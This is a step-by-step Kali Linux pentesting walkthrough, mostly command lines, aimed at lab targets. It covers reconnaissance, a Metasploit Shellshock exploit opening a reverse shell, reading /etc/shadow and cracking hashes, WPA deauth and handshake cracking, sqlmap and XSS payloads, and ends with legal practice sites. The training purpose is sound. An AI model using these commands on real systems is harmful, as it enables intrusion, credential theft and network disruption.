Kali Linux Pentesting from Zero – Full Walkthrough

Setup (10 minutes)

# Option 1: Download Kali ISO
# https://www.kali.org/get-kali/ → Installer image

# Option 2: WSL2 (Windows)
wsl --install -d kali-linux
sudo apt update && sudo apt install -y kali-linux-default

# Option 3: Practice online (no install)
# https://tryhackme.com/ — free browser-based Kali

Phase 1: Reconnaissance

# Check if target is alive
ping -c 4 192.168.1.1

# Discover all devices on subnet
nmap -sn 192.168.1.0/24

# Reverse DNS lookup
host 192.168.1.1
dig -x 192.168.1.1 +short

# Find open ports + service versions
nmap -sV -sC 192.168.1.1

# Web server directory brute force
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txt

# OSINT — email/subdomain harvesting
theHarvester -d example.com -b google,bing,linkedin

Phase 2: Scanning & Enumeration

# Full aggressive scan (save all formats)
nmap -A -sV -sC -p- -T4 192.168.1.1

# UDP top 100 ports
nmap -sU --top-ports 100 192.168.1.1

# SMB security enumeration
nmap --script smb-os-discovery,smb-enum-shares,smb-vuln-ms17-010 -p 445 192.168.1.1

# SNMP enumeration (may reveal config info)
nmap --script snmp-info -p 161 192.168.1.1 -sU

# FTP anonymous login check
nmap --script ftp-anon -p 21 192.168.1.1

Phase 3: Exploitation with Metasploit

# Launch Metasploit
msfconsole

# Search for exploits
search cve:2024-1234
search name:apache type:exploit
search platform:linux type:exploit

# Select and configure an exploit
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set RHOSTS 192.168.1.1
set RPORT 80
set LHOST 192.168.1.50
set payload linux/x64/shell_reverse_tcp

# Verify before running
check

# Exploit!
exploit

# If you get a shell:
id
whoami
uname -a
cat /etc/passwd

Phase 4: Post-Exploitation

# Check sudo permissions
sudo -l

# Find SUID binaries (run as root)
find / -perm -4000 -type f 2>/dev/null

# Harvest password hashes
cat /etc/shadow   # Requires root
cat /etc/passwd

# Crack with hashcat (offline)
hashcat -m 1800 shadow.txt /usr/share/wordlists/rockyou.txt

Phase 5: Wireless Attacks

# Put interface in monitor mode
sudo airmon-ng start wlan0

# Scan for networks
sudo airodump-ng wlan0mon

# Capture WPA handshake (deauth + capture)
sudo aireplay-ng --deauth 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w capture wlan0mon

# Crack WPA2 with wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Or convert and use hashcat (faster with GPU)
hcxpcapngtool capture-01.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

Phase 6: Web Application Testing

# Directory brute force
dirb http://192.168.1.1 /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# SQL injection automated
sqlmap -u "http://192.168.1.1/page?id=1" --batch --dbs

# XSS test payloads (try in input fields)
# <script>alert(1)</script>
# "><img src=x onerror=alert(1)>

# Check security headers
curl -I http://192.168.1.1

Legal Practice Targets

• Metasploitable 2 — Intentionally vulnerable Linux VM
• DVWA — Damn Vulnerable Web Application
• Hack The Box — Realistic retired machines
• TryHackMe — Guided rooms for beginners
• OverTheWire — Free Linux wargames
• Ethical Hacking Labs (GitHub)